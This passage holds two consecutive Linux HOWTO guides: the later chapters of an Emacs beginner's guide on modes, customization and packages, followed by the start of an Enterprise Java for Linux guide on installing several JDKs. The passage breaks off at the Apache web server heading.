When you add all these modes together and consider the maturity and stability of the Emacs code, it compares quite nicely to commercially marketed Integrated Development Environments (IDEs) for languages like C++ and Java. And, of course, it's free.

C/C++/Java

Because the syntax of C, C++, and Java are quite similar, there is one Emacs mode which handles all three languages (as well as Objective-C and IDL). It's a very mature and complete package and it included in the Emacs distribution. This mode is called either cc-mode or CC Mode.

For more details or to download a newer version, visit http://www.python.org/emacs/.

Perl

There are actually two modes for editing Perl code in Emacs. The first is called perl-mode (as you would expect) and the second is cperl-mode. I don't have a good grasp of this history and why there are two modes (the docs don't say), but it would appear that perl-mode was the original mode for editing Perl code in Emacs. It seems to have fewer features than cperl-mode and is lacking the ability to recognize some of Perl's fancier language constructs.

Personally, I use and recommend cperl-mode which seems to be quite actively maintained and has just about every feature I could ever want. You can find the latest release here: ftp://ftp.math.ohio-state.edu/pub/users/ilya/emacs.

But don't take my word for it. Try them both and pick the one that best meets your needs.

Python

Python (another very popular scripting language) has an Emacs mode available for it as well. As far as I can tell, it is not distributed with GNU Emacs but it distributed with XEmacs. It works quite well in both editors, though.

You can get python-mode from the official Python web site http://www.python.org/emacs/python-mode/.

Others

There are many many other editing modes available to help out programmers. Such modes help out with things like:

  • Shell Scripts (Bash, sh, ksh, csh, ...)
  • Awk, Sed, Tcl, ...
  • Makefiles
  • Change Logs
  • Documentation
  • Debugging

And much more. See the last section of this document for more information on finding other modes and add-ins.

3.3 Authoring

Fancy Emacs modes are not limited to just those who write code. Folks writing documentation (of any sorts) can also benefit from a wide selection of Emacs modes.

Spell-Checking (ispell mode)

Authors of many types of documents need to spell-check once in a while. If you have GNU ispell installed, you can type M-x ispell and spell-check the current buffer. If ispell finds words that it doesn't know, it prompts you with a list of possible replacements and lets you select one (or none) of them. It's functionally equivalent to the spell-checkers in many popular non-free software packages.

HTML (html-helper mode)

If you find yourself writing HTML files once in a while (or even a lot), you might want to try out html-helper-mode. It is available from http://www.santafe.edu/~nelson/tools/ as is the documentation and related stuff.

As its name suggests, html-helper-mode provides lots of things to help out those folks who still write HTML by hand--the old fashioned way.

TeX (tex-mode)

When you're writing documents in TeX, it's often helpful to get Emacs to add some color and highlight the backslashes, braces and other characters. tex-mode takes care of that for you.

Though I don't write much directly in TeX anymore, when I did this mode proved to be quite helpful in making my TeX source a bit more readable.

SGML (sgml-mode)

The document you're now reading was written in SGML (and probably converted to the format you're reading it in). sgml-mode provides all the basics for SGML documents: validation, highlighting, forward-tag, backward-tag, and much more. It is a standard part of Emacs.

3.4 Other Modes

Of course, there are lots of other handy modes to make life easier. Here's just a sampling of the popular ones:

Version Control (vc mode)

vc mode interfaces with most of the popular version control back-ends (RCS, SCCS, CVS) to make it very easy to check files in and out, manage releases and so on. It is a standard part of Emacs and is documented in the Emacs documentation.

Shell Mode

Why switch to another X window or virtual console just to run a few shell commands? Do it from within Emacs and save yourself the trouble. :-)

M-x shell will launch a shell within an Emacs buffer. You can do most things with this buffer that you could do with a normal shell prompt (except for running full screen programs like vi or pine) because Emacs is talking to your real shell behind the scenes.

This is a standard part of Emacs, too, so you'll find it documented in the Emacs docs.

Telnet and FTP

Why switch to another X window or virtual console just to run telnet or FTP? Do it from within Emacs and save yourself the trouble. (Notice the pattern yet?)

Just like running a shell inside of Emacs, you can telnet and ftp. Try M-x telnet or M-x ftp to experience it for yourself. See the documentation for all the gory details.

Man

Why switch to another X window or virtual console just to read a manual page? Do it from within Emacs and save yourself the trouble. (I promise. I'll stop.)

Just like running a shell inside of Emacs, you can read manual pages. Try M-x man to experience it for yourself. See the documentation for more.

Ange-FTP

To quote the ange-ftp documentation:

This package attempts to make accessing files and directories using FTP from within GNU Emacs as simple and transparent as possible. A subset of the common file-handling routines are extended to interact with FTP.

That means you can treat files on remote machines as if there were local. So if you need to edit a file on a different computer, just tell Emacs to open it (using a slightly different path syntax) and it takes care of all the details of logging in and retrieving the file. Then, when you save the file via C-x C-s, ange-ftp intercepts the save and writes the file back to the remote machine.

The slightly different path syntax goes like this... A file named ``myfile'', in a ``user'''s directory, on a machine named ``my.host.org'' can be opened by opening (C-x f) the file:

/user@my.host.org:~user/myfile

This, also, is a standard part of the Emacs distribution so you can find it documented in the Emacs documentation.

Thanks to Etienne Grossmann ( etienne@anonimo.isr.ist.utl.pt) for the example above.


Emacs Beginner's HOWTO: Customizing Emacs

 Next Previous Contents

4. Customizing Emacs

Virtually all Emacs customization is done via Lisp code. You can modify variables which influence the way Emacs operates or you can add new functions to Emacs (or override existing functions--replacing them with your own).

4.1 Temporary Customization

While experimenting with Emacs customization, you'll probably want to do it in a way that is temporary. If you do something horribly wrong, you can just C-x C-c to exit emacs and run it again. Once you've figured out what changes you'd like to make permanent, you can add them to your very own .emacs file so that they take effect every time you start Emacs. This is discussed in the next section.

Variable Assignments

The easiest customizations are accomplished by changing the value of a variable in Emacs. The list code to do this looks like this:

(setq variable-name new-value)

Where variable-name is the name of the variable and new-value is the value you'd like to give the variable. (In Lisp-speak, you're binding a variable to a value.) The setq function in lisp is analogous to the assignment operators (usually =) in other programming languages.

NOTE: I'm glossing over many details here for the sake of simplicity. You may also see me or others use the Lisp functions set and even setq-default. If you're really curious, feel free to look them up in an Emacs Lisp reference.

Let's look at a line from my .emacs file

(setq-default transient-mark-mode t)

The variable transient-mark-mode controls whether or not a region becomes highlighted when I mark it. In many GUI applications, if you click and drag the mouse to select a range of text it becomes hi-lighted in reverse video or some other color. Emacs will do the same thing it the transient-mark-mode variable is set (to a non-nil value).

A WHAT value?

Okay. Brief digression. Most programming languages have some notion of true/false values. In C/C++ a value is considered true if it is a non-zero value. In Perl, a non-null or non-zero value is true. In Lisp, the same idea applies but the names and symbols are different.

True is usually written as t and false (or null) is written as nil. Like in other languages, though, any non-nill value is considered true.

To get the full description of what transient-mark-mode does, you can use the on-line help. Type C-h v or M-x describe-variable and then transient-mark-mode. If you're lazy like me, you can take advantage of variable name completion using the Tab key. Just type part of the variable name and hit the Tab key. If you've typed enough of it that Emacs can already uniquely identify it, you'll see the whole name completed for you.

Another variable that folks often set is fill-column. It tells Emacs how wide the screen should be for the purposes of word-wrapping (and auto-fill-mode respects this value). To set the value to something absurd, you could type:

(setq fill-column 20)

But that won't actually do anything. You need to tell Emacs to evaluate the expression you typed. To do so, put the point (cursor) at the end of the expression end then type C-x C-e, which calls the function eval-last-sexp in case you care. When you do that, notice that 20 (or whatever value you used) is echoed back to you in the mini-buffer at the bottom of the screen. That's just the return value from the expression you evaluated.

Just to prove that it works, type a sentence or two. If you happen to have auto-fill-mode enabled (you probably don't), you'll notice the text wrapping at the 20 column mark. Otherwise, after you've typed some stuff, type M-q which calls the function fill-paragraph. It will then perform the word wrapping.

File Associations

You can configure Emacs to automatically do something when you open a file of a particular type (just like some GUIs will automatically launch a specific application if you click on the icon for a particular file). For example, I may want Emacs to automatically switch to text-mode every time I open a file with a .txt extension. Well, that already happens. :-) So let's tell Emacs to always enter text-mode when you open a file named ``README''.

(setq auto-mode-alist (cons '("README" . text-mode) auto-mode-alist))

Huh?

Without diving into lots of Lisp programming that you really don't need to know (but it wouldn't hurt you to learn), let just say that the variable auto-mode-alist contains a list of pairs. Each pair contains a regular expression and an Emacs mode name. If a file you open matches the regular expression (in this case, the string README) Emacs starts the mode you specified.

The funny syntax above is because we're actually adding another pair to that mode list. You wouldn't want to just assign to auto-mode-alist without making sure the values that it already contains aren't lost.

And if I wanted Emacs to automatically switch to html-helper-mode every time that I opened a file that ended with .html or .htm, I would add this to my .emacs file:

(setq auto-mode-alist (cons '("\\.html$" . html-helper-mode) auto-mode-alist))
(setq auto-mode-alist (cons '("\\.htm$" . html-helper-mode) auto-mode-alist))

The possibilities are truly endless.

4.2 Using a .emacs File

After you've spent some time with Emacs and have a basic idea of what customization can do for you, you'll probably want to customize a few things permanently (or at least until you change your mind). If you find yourself using Emacs on a daily basis, you'll also notice that your .emacs file get bigger as time goes on. That's a Good Thing because it means you've figured out how to make Emacs work the way you want it do work. It's a shame that more software products don't let you do that.

In case you haven't already guessed, every time you start Emacs, it looks for a file named .emacs in your home directory. Your .emacs file is where you should put any Lisp code that you want run automatically and that includes the sort of customization we've been dealing with here.

Another example from my .emacs file:

(setq inhibit-startup-message t)

The inhibit-startup-message variable controls whether or not Emacs displays that welcome message when it starts. After a while, I got sick of looking at it (because I knew how to find the help and whatnot), so I went in search of a way to turn it off.

As an exercise, try creating a .emacs file of your own and add that line to it. Then exit and start Emacs again. You should not see the welcome message.

Often times when your read about an Emacs mode (or a package), the documentation will suggest some code to add to your .emacs file in order to make the mode or package work in a particular way.

The GNU Emacs FAQ (C-h F) contains some items related to .emacs files that you might find useful.

4.3 The Customize Package

As Emacs has grown in popularity and continued to evolved, someone eventually said ``there has to be a better way to let novice users customize their Emacs.'' And customize was born.

Customize provides a more intuitive method of customizing parts of Emacs. To try it out, either visit the Customize sub-menu in your Help menu, or type M-x customize.

Customize groups customization into logical groups like ``Editing'', ``Programming'', ``Files'', and so on. Some groups contain sub-groups.

If you make changes using the customize interface, Emacs will save the changes to your .emacs file. That's rather handy, because you can easily inspect (and change) the changes it made for you.

I don't use the Customize interface, so I can't say much more about it..

4.4 X Windows Display

Like any well behaved X application, Emacs respects your X resources. That means you can control the initial colors, geometry, and other X specific things just as you could with an xterm, nxterm, or whatever.

Here's the relevant bit of my ~/.Xdefaults file:

emacs*Background: DarkSlateGray
emacs*Foreground: Wheat
emacs*pointerColor: Orchid
emacs*cursorColor: Orchid
emacs*bitmapIcon: on
emacs*font: fixed
emacs.geometry: 80x25

See your X manual page for more details about X resources.

Chris Gray ( cgray4@po-box.mcgill.ca) also notes:

In Debian, the ~/.Xdefaults doesn't seem to be used. However, Debian people can put what you have given in /etc/X11/Xresources/emacs and they can have the pretty colors that they had when they were using RedHat.


Emacs Beginner's HOWTO: Popular Packages

 Next Previous Contents

5. Popular Packages

In addition to the many different modes available for Emacs, there are also many add-on packages. I call them packages because they're more than just new modes. They often include extra utilities or are so large that calling them modes just doesn't seem to do them justice. In still other cases, they are software which extends or integrates other Emacs modes and packages. The distinction isn't entirely clear, but that's okay.

5.1 VM (Mail)

To quote the VM FAQ:

VM (View Mail) is an Emacs subsystem that allows mail to be read and disposed of within Emacs. Commands exist to do the normal things expected of a mail user agent, such as generating replies, saving messages to folders, deleting messages and so on. There are other more advanced commands that do tasks like bursting and creating digests, message forwarding, and organizing message presentation according to various criteria.

When I first began using Emacs, I tried VM out for a while. I found it to be a great replacement for Pine, Elm, or most any other mail program. But I didn't want to use separate programs to read mail and news. VM is actively developed and well supported today.

It is available here: http://www.wonderworks.com/vm/.

5.2 Gnus (Mail and News)

To quote the GNUS Manual:

Gnus is a message-reading laboratory. It will let you look at just about anything as if it were a newsgroup. You can read mail with it, you can browse directories with it, you can ftp with it---you can even read news with it!

Gnus tries to empower people who read news the same way Emacs empowers people who edit text. Gnus sets no limits to what the user should be allowed to do. Users are encouraged to extend Gnus to make it behave like they want it to behave. A program should not control people; people should be empowered to do what they want by using (or abusing) the program.

GNUS is what I currently use for mail and news (as hinted above). GNUS is also actively developed and well supported today.

It is available here: http://www.gnus.org/.

5.3 BBDB (A rolodex)

BBDB is an Insidious Big Brother Database, a rolodex-like program for Emacs that works with most of the popular Emacs Mail packages (VM and GNUS included).

It is available here: http://pweb.netcom.com/~simmonmt/bbdb/index.html.

5.4 AucTeX (another TeX mode)

AucTeX is another mode for editing TeX files.

To quote the AucTeX web site:

AUC TeX is an extensible package that supports writing and formatting TeX files for most variants of GNU Emacs. Many different macro packages are supported, including AMS TeX, LaTeX, and TeXinfo.

It is available here: http://sunsite.auc.dk/auctex/.


Emacs Beginner's HOWTO: Other Resources

 Next Previous Contents

6. Other Resources

This section covers books, web sites, newsgroups, mailing lists, and other places you can find more information about Emacs.

6.1 Books

There are a a few really good books available for learning Emacs. In addition to these, you'll find that many Linux and Unix books also contain a chapter or two about Emacs (and vi).

Learning GNU Emacs

Authors: Debra Cameron, Bill Rosenblatt, Eric S. Raymond

Publisher: O'Reilly & Associates - http://www.ora.com/

Commentary: This is probably the best book to start with. After you've read the HOWTO and looked through the FAQ this book serves as a comprehensive and very approachable tutorial.

Writing GNU Emacs Extensions

Author: Bob Glickstein

Publisher: O'Reilly & Associates - http://www.ora.com/

Commentary: After you've used Emacs for a while and have decided that you'd like to try writing your own mode or maybe try out some advanced customization, this is the book for you. While it doesn't attempt to teach Lisp, it does contain a brief introduction to the language.

Programming in Emacs Lisp: An Introduction

Author: Robert J. Chassell

From the README file:

This is an elementary introduction to programming in Emacs Lisp for people who are not programmers, and who are not necessarily interested in programming, but who do want to customize or extend their computing environment.

You can retrieve the manual in its entirety via anonymous FTP from the GNU FTP server: ftp://prep.ai.mit.edu/gnu/emacs/.

Commentary: This a good introductory manual for Emacs Lisp--even if you're not a heavy-duty programmer.

The GNU Emacs Lisp Reference Manual

Author: Richard Stallman

Publisher: The Free Software Foundation - http://www.fsf.org/

You can retrieve the manual in its entirety via anonymous FTP from the GNU FTP server: ftp://prep.ai.mit.edu/gnu/emacs/.

Commentary: This is the definitive guide to the Emacs Lisp programming language.

6.2 Web Sites

EMACSulation

EMACSulation is a column written by Eric Marsden that appears in the on-line magazine Linux Gazette located at http://www.linuxgazette.com/. The most recent column as of this writing is located at http://www.linuxgazette.com/issue39/marsden.html. Scan to the bottom of the article for links to previous ones.

6.3 Newsgroups

Search you local news feed for newsgroups which contain the string ``emacs'' and you'll probably find many. Those which my server carries are:

  • comp.emacs
  • comp.emacs.sources
  • gnu.emacs
  • gnu.emacs.bug
  • gnu.emacs.help
  • gnu.emacs.sources

6.4 Mailing Lists

There is a mailing list for GNU Emacs which is hosted by the Free Software Foundation. See the web site http://mail.gnu.org/mailman/listinfo/help-gnu-emacs for more information.

The only mailing list devoted to Emacs that I know of right now is the NT-Emacs list. It is a list for folks who are using the Micro$oft Windows version of Emacs. See the NT-Emacs FAQ http://www.cs.washington.edu/homes/voelker/ntemacs.html for more information.

6.5 The Emacs Lisp Archive

From the Emacs Lisp Archive README:

The Emacs Lisp archives on ftp.cis.ohio-state.edu contain various pieces and packages of Emacs Lisp code. Emacs Lisp is the language used to extend the GNU Emacs editor published by the Free Software Foundation. Although much Emacs Lisp code is included in the GNU Emacs distribution, many people have written packages to interface with other systems, to better support editing the programming language they use, to add new features, or to change Emacs' default behavior. Most of the contents of this archive have been written by individuals and distributed publicly over the Internet through the info-emacs or info-gnu-emacs mailing lists or the comp.emacs, gnu.emacs, or gnu.emacs.sources newsgroups.

The archives are available via anonymous FTP from ftp://ftp.cis.ohio-state.edu/pub/emacs-lisp/.

NOTE: As far as I can tell, the Emacs Lisp Archive is slowly becoming out of date. I see very few new (or updated) packages appearing there, though I know they exist. They do get posted to the comp.emacs.sources newsgroup. (Feel free to correct me if this is wrong.)


Emacs Beginner's HOWTO: Credits

 Next Previous Contents

7. Credits

The following people have contributed to the success of this document.

  • Craig Lyons Craig.Lyons@compaq.com
  • Robert Vollmert rvollmer@gmx.net
  • Larry Brasfield larrybr@seanet.com
  • Etienne Grossmann etienne@anonimo.isr.ist.utl.pt
  • Thomas Weinell kf6mli@amsat.org
  • Adam C. Finnefrock adam@bigbro.biophys.cornell.edu
  • Chris Gray cgray4@po-box.mcgill.ca
  • Robert J. Chassell bob@rattlesnake.com
  • Isaac To kkto@csis.hku.hk
  • Matteo Valsasna valsasna@elet.polimi.it
  • Tijs van Bakel smoke@casema.net


Enterprise Java for Linux HOWTO

Greg Wilkins gregw@mortbay.org original by Gary Meyer gary@meyer.net

v0.2, 2001-11-07

How to set up an Enterprise Java environment on Linux including a Java Development Kit, a Web server, supporting Java servlets, accessing a database via JDBC, and supporting Enterprise Java Beans (EJBs).

1. Introduction

  • 1.1 Background
  • 1.2 Audience
  • 1.3 New Versions
  • 1.4 Copyright and License
  • 1.5 Disclaimers
  • 1.6 Potential Future Sections
  • 1.7 Other Resources
  • 1.8 Feedback

2. How to Setup the Java Development Kit

  • 2.1 Blackdown JDK
  • 2.2 IBM Java Developer Kit
  • 2.3 Kaffe
  • 2.4 Sun J2SE

3. How to Setup the Web Server

  • 3.1 Apache
  • 3.2 IBM Domino
  • 3.3 IBM HTTP Server
  • 3.4 Jetty HTTP Server and Servlet Container

4. How to Setup Java Servlet Support

  • 4.1 Allaire JRun
  • 4.2 Apache Tomcat
  • 4.3 BEA WebLogic
  • 4.4 Enhydra
  • 4.5 IBM WebSphere
  • 4.6 Locomotive
  • 4.7 Jetty

5. How to Setup Java Server Pages (JSP) Support

  • 5.1 Apache Jakarta
  • 5.2 Caucho Resin
  • 5.3 Jetty

6. How to Setup JDBC Support

  • 6.1 IBM DB2
  • 6.2 MiniSQL
  • 6.3 MySQL
  • 6.4 Oracle
  • 6.5 PostgreSQL
  • 6.6 Sybase

7. How to Setup Enterprise Java Bean (EJB) Support

  • 7.1 BEA WebLogic
  • 7.2 EJBoss
  • 7.3 Bullsoft JOnAS EJB


Enterprise Java for Linux HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Background

This document was started January, 1999 by Gary Meyer ( gary@meyer.net) after several weeks of installing various open source and proprietary Enterprise Java products for Linux. "Enterprise Java" is defined as using the Java Enterprise APIs.

Some updates were added by Greg Wilkins ( gregw@mortbay.org) in November 2001 however parts of the document are still out of date.

1.2 Audience

This HOWTO is intended to benefit software professionals who are interested in evaluating, developing, or deploying Enterprise Java on Linux. Limited knowledge or experience in either Linux or Java is assumed.

1.3 New Versions

The newest version of this document can be found at the Linux Documentation Project website at: http://linuxdoc.org/HOWTO/Enterprise-Java-for-Linux-HOWTO.html

1.4 Copyright and License

This document is Copyright (c) 1999-2001 by Gary Meyer and Greg Wilkins. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html

1.5 Disclaimers

The suggestions in this document are provided to help you get a Enterprise Java environment on Linux up and running as quickly as possible. The suggestions are not product recommendations or endorsements. As you become familiar with the options available, you can do you own product evaluations and determine what options are best for your particular purpose.

For the purpose of this HOWTO, "Enterprise Java" is defined as using the Java Enterprise APIs. This HOWTO does not address scalability, availability, manageability, and other such aspects of software that are often associated with the word "enterprise."

1.6 Potential Future Sections

This HOW has focused on the most popular aspects of Enterprise Java. The following sections may be added to this HOWTO.

  • Integrated Development Environments (IDEs) that Support Enterprise Java for Linux
  • Java Naming and Directory Interface (JNDI) Support
  • Java Mail API (JMAPI) Support
  • Java Transaction Service (JTS) Support
  • Java Interface Definition Language (JIDL) Support
  • Java Messaging Service (JMS) Support
  • Common Object Request Broker Architecture (CORBA) Support

Interested in authoring a section?

Please contact the author, Gary Meyer, at ( gary@meyer.net).

1.7 Other Resources

The App-Serv Center website at http://www.app-serv.com/.

Java Enterprise in a Nutshell by David Flanagan et al at http://www.oreilly.com/catalog/jentnut/.

1.8 Feedback

Please submit all additions and corrections to the author, Gary Meyer, at ( gary@meyer.net).


Enterprise Java for Linux HOWTO: How to Setup the Java Development Kit

 Next Previous Contents

2. How to Setup the Java Development Kit

There are several Java Development Kits available for Linux. These include:

  • Blackdown JDK
  • IBM Java Developer Kit
  • Sun J2SE
  • Kaffe

If you are going to try just one JDK, I suggest you initially try the Sun J2SE, unless you are recommended otherwise by specific software you are using or want to use. Additionally, if you are interested in an open source implementation, you will need to use Kaffe.

2.1 Blackdown JDK

Background

The Blackdown JDK is a port of Sun JDK to Linux. As of the time of this writing, the Blackdown JDK is current with JDK 1.2.2 on the Intel architecture and 1.1.8 on the PowerPC.

In December 1999, Sun announced availability of the Java 2 Platform, Standard Endition (J2SE) on Linux. This Sun release has significant impact on Blackdown because Blackdown is a port. In a press release, Sun states, "This week's announcement would not have been possible without the collaboration of Blackdown, a group of developers and enthusiasts around the globe. Since its inception, Blackdown has been a provider of Java technology for the Linux platform. Their dedicated effort over a number of years has laid the foundation for this release of the Java 2 platform port to Linux; in particular their effort was critical to the success of this release."

Additionally, the Sun press release continues, "Blackdown.org continues to be a valuable source for Java technology for Linux, including JDK 1.1.x releases."

Download

The Blackdown JDK can be obtained from http://www.blackdown.org.

>From the Blackdown home page, select download and a mirror site.

Select the version of the JDK you want. If other software that you are wanting to use does not recommend a specific version, I suggest the most current, which is at the time of this writing, JDK 1.2.2.

Select the machine architecture you are installing on. For Intel architecture, select i386.

Select the release candidate you want. If other software that you are wanting to use does not recommend a specific release candidate, I suggest the most recent or final version if available.

For the Blackdown JDK, there are possibly a number of different files available in different packaging formats. Additionally you have to be sure you get support for the right libc for your Linux distribution.

The files available include:

  • jdk - The Java Development Kit contains everything you need to compile, run, and debug Java. It does not contain international character converters.
  • jre - The Java Runtime Environment, including international character converters.
  • rt - A minimal Java Runtime Environment that does not include international character converters.
  • i18n - The internationalization font mappings and a JAR containing the international character converters.
  • native - Additional binaries providing native thread support.

I suggest downloading only the jdk for Java development in English.

When downloading the Blackdown files, you may need to select between libc5 and glibc as well as potentially a specific version of glibc. The libc options include:

  • libc5 - The older, and still most common, Linux libc is libc5.
  • glibc - The new Linux libc.

If you are using a newer distribution of Linux, you will most likely have glibc. I suggest initially trying glibc.

Installation

I suggest installing files in the /usr/local directory. After downloading the files, run:

mkdir /usr/local/blackdown
mv jdk* /usr/local/blackdown

If you downloaded the tarball format, run:

tar zxvf [filename].tar.gz

Where [filename] is the name of the file.

Under the /usr/local/blackdown directory, you now should see a directory such as jdk1.2.2.

The above example shows JDK 1.2.2 release candidate 3 for the Intel architecture. Substitute the file name, version number, release candidate number, and architecture as appropriate. You will need to open each distribution package file in the above manner.

Setting up Your Environment

The environment variables to set up are:

  • JAVA_HOME
  • PATH
  • CLASSPATH

The JAVA_HOME environment variable references the home directory of your JDK installation. Set your JAVA_HOME environment variable to the directory into which you just installed a version of the Blackdown JDK.

export JAVA_HOME=/usr/local/blackdown/jdk1.2.2

The $JAVA_HOME/bin directory has the Java compiler (javac) and the Java Virtual Machine (java) as well as other necessary programs for development. Add $JAVA_HOME/bin to your PATH.

export PATH=$JAVA_HOME/bin:$PATH

Note that $JAVA_HOME/bin was added to the front of the PATH so that the installed JDK will be used rather than any JDK that might have come with your Linux distribution.

To confirm that your PATH is correctly set up, check which Java compiler and JVM will be used.

which javac
which java

The output should reference javac and java in your $JAVA_HOME/bin directory.

The CLASSPATH environment variable references all JARs and directories that you will need to compile and run Java programs.

For JDK 1.2.2, you don't need to initially add any JARs to your CLASSPATH. JARs can be packaged in either .jar or .zip files.

export CLASSPATH=$CLASSPATH:.

Confirming Your Installation

You are now ready to compile and run a simple application. Create the following program.

class HelloWorld {
  public static void main (String[] args) {
    System.out.println("Hello, World!");
  }
}

Compile the program with the Java compiler.

javac HelloWorld.java

If the compiler produces errors, double check the syntax and confirm your PATH and CLASSPATH.

Run the program with the JVM.

java HelloWorld

If the JVM produces errors, confirm your PATH and CLASSPATH.

You should see the following output:

Hello, World!

Congratulations, you have installed, set up an environment for, and tested the Blackdown JDK on Linux.

More Information

For more information on the Blackdown JDK, see the Blackdown website at http://www.blackdown.org. There is an excellent FAQ available.

2.2 IBM Java Developer Kit

Background

The IBM Java Developer Kit and Runtime Environment pass Sun's Java compatibility test and include the latest maintenance. (From the IBM website.)

As of the time of this writing, the IBM Java Developer Kit is current with JDK 1.1.8 and is available only on the Intel architecture.

Download

The IBM Java Developer Kit can be obtained from http://www.ibm.com/java/jdk/118/linux.

In order to download, you will have to register with the IBM website and agree to the license online.

The files available include:

  • ibm-jdk-l118-linux-x86.tgz - The Java Development Kit contains everything you need to compile, run, and debug Java.
  • ibm-jre-l118-linux-x86.tgz - The Java Runtime Environment contains everything you need to run Java.

Since you will be doing Java development, I suggest downloading the ibm-jdk tarball file.

Installation

I suggest installing files in the /usr/local directory. After downloading the files, run:

mkdir /usr/local/ibm
mv ibm-jdk-l118-linux-x86.tgz /usr/local/ibm

You can now open the distribution package. To do this, type:

tar zxvf ibm-jdk-l118-linux-x86.tgz

Under the /usr/local/ibm directory, you now should see the jdk118 directory.

The above example shows JDK 1.1.8 for the Intel architecture. Substitute the filenames as appropriate.

Setting up Your Environment

The environment variables to set up are:

  • JAVA_HOME
  • PATH
  • CLASSPATH

The JAVA_HOME environment variable references the home directory of your JDK installation. Set your JAVA_HOME environment variable to the directory into which you just installed a version of the IBM Java Developer Kit.

export JAVA_HOME=/usr/local/ibm/jdk118

The $JAVA_HOME/bin directory has the Java compiler (javac) and the Java Virtual Machine (java) as well as other necessary programs for development. Add $JAVA_HOME/bin to your PATH.

export PATH=$JAVA_HOME/bin:$PATH

Note that $JAVA_HOME/bin was added to the front of the PATH so that the installed JDK will be used rather than any JDK that might have come with your Linux distribution.

To confirm that your PATH is correctly set up, check which Java compiler and JVM will be used.

which javac
which java

The output should reference javac and java in your $JAVA_HOME/bin directory.

The CLASSPATH environment variable references all JARs and directories that you will need to compile and run Java programs.

Initially I suggest adding the following JARs to your CLASSPATH. JARs can be packaged in either .jar or .zip files.

For instance:

export CLASSPATH=$JAVA_HOME/lib/classes.zip
export CLASSPATH=$CLASSPATH:.

Confirming Your Installation

You are now ready to compile and run a simple application. Create the following program.

class HelloWorld {
  public static void main (String[] args) {
    System.out.println("Hello, World!");
  }
}

Compile the program with the Java compiler.

javac HelloWorld.java

If the compiler produces errors, double check the syntax and confirm your PATH and CLASSPATH.

Run the program with the JVM.

java HelloWorld

If the JVM produces errors, confirm your PATH and CLASSPATH.

You should see the following output:

Hello, World!

Congratulations, you have installed, set up an environment for, and tested the IBM Java Developer Kit on Linux.

More Information

For more information on the IBM Java Developer Kit, see the IBM Java website at http://www.ibm.com/java.

2.3 Kaffe

Background

Kaffe is a cleanroom, open source implmentation of a Java Virtual Machine and class libraries. As of the time of this writing, Kaffe "mostly complies with JDK 1.1, except for a few missing parts." And "parts of it are already JDK 1.2 (Java 2) compatible." (From the Kaffe website.)

Kaffe may have already been shipped with your Linux distribution because of its open source license.

Download and Installation

Rather than downloading from Kaffe, I suggest you initially try the Kaffe that most likely came with your Linux distribution.

Alternatively, Kaffe can be obtained from http://www.kaffe.org.

>From the Kaffe home page, select the current release. At the time of this writing, the current release is 1.0.5. The Kaffe version number has no relationship to JDK specification version numbers.

Setting up Your Environment

The environment variables to set up are:

  • PATH
  • CLASSPATH

To confirm that your PATH is correctly set up, check which Java compiler and JVM will be used.

which javac
which java

The CLASSPATH environment variable references all JARs and directories that you will need to compile and run Java programs.

Initially I suggest you add the following JARs to your CLASSPATH. JARs can be packaged in either .jar or .zip files.

For instance:

export CLASSPATH=/usr/local/share/kaffe/Klasses.zip
export CLASSPATH=$CLASSPATH:.

Confirming Your Installation

You are now ready to compile and run a simple application. Create the following program.

class HelloWorld {
  public static void main (String[] args) {
    System.out.println("Hello, World!");
  }
}

Compile the program with the Java compiler.

javac HelloWorld.java

If the compiler produces errors, double check the syntax and confirm your PATH and CLASSPATH.

Run the program with the JVM.

java HelloWorld

If the JVM produces errors, confirm your PATH and CLASSPATH.

You should see the following output:

Hello, World!

Congratulations, you have installed, set up an environment for, and tested Kaffe on Linux.

More Information

For more information on Kaffe, see the Kaffe website at http://www.kaffe.org.

2.4 Sun J2SE

Background

The Sun Java 2, Standard Edition (J2SE) is Sun's production release of the Java 2 Platform for the Linux operating system. As of the time of this writing, J2SE is current with JDK 1.2.2 on the Intel architecture.

Download

J2SE can be obtained from http://developer.java.sun.com/developer/earlyAccess/j2sdk122.

You will need to register with Sun and agree to the license online before downloading.

Installation

I suggest installing files in the /usr/local directory. After downloading the files, run:

mkdir /usr/local/sun
mv jdk1_2_2rc1-linux-i386.tar.gz /usr/local/sun

You can now open the distribution package. To do this, type:

tar zxvf jdk1_2_2rc1-linux-i386.tar.gz

Under the /usr/local/sun directory, you now should see the jdk1.2.2 directory.

The above example shows JDK 1.2.2 release candidate 1 for the Intel architecture. Substitute the filenames as appropriate.

Setting up Your Environment

The environment variables to set up are:

  • JAVA_HOME
  • PATH
  • CLASSPATH

The JAVA_HOME environment variable references the home directory of your JDK installation. Set your JAVA_HOME environment variable to the directory into which you just installed a version of J2SE.

export JAVA_HOME=/usr/local/sun/jdk1.2.2

The $JAVA_HOME/bin directory has the Java compiler (javac) and the Java Virtual Machine (java) as well as other necessary programs for development. Add $JAVA_HOME/bin to your PATH.

export PATH=$JAVA_HOME/bin:$PATH

Note that $JAVA_HOME/bin was added to the front of the PATH so that the installed JDK will be used rather than any JDK that might have come with your Linux distribution.

To confirm that your PATH is correctly set up, check which Java compiler and JVM will be used.

which javac
which java

The output should reference javac and java in your $JAVA_HOME/bin directory.

The CLASSPATH environment variable references all JARs and directories that you will need to compile and run Java programs.

For JDK 1.2.2, you don't need to initially add any JARs to your CLASSPATH. JARs can be packaged in either .jar or .zip files.

export CLASSPATH=$CLASSPATH:.

Confirming Your Installation

You are now ready to compile and run a simple application. Create the following program.

class HelloWorld {
  public static void main (String[] args) {
    System.out.println("Hello, World!");
  }
}

Compile the program with the Java compiler.

javac HelloWorld.java

If the compiler produces errors, double check the syntax and confirm your PATH and CLASSPATH.

Run the program with the JVM.

java HelloWorld

If the JVM produces errors, confirm your PATH and CLASSPATH.

You should see the following output:

Hello, World!

Congratulations, you have installed, set up an environment for, and tested the Sun J2SE for Linux.

More Information

For more information on Sun J2SE, see the Sun Java website at http://java.sun.com. There are excellent discussion forums available where you might be able to find answers to various questions.


Enterprise Java for Linux HOWTO: How to Setup the Web Server

 Next Previous Contents

3. How to Setup the Web Server

There are several Web Servers available for Linux. These include:

  • Apache
  • IBM Domino
  • IBM HTTP Server
  • Jetty HTTP Server

If you are going to try just one Web Server, I suggest you initially try Apache, principally because it comes with most major Linux distributions and may already be installed, and perhaps running, on your system.

3.1 Apache

Background

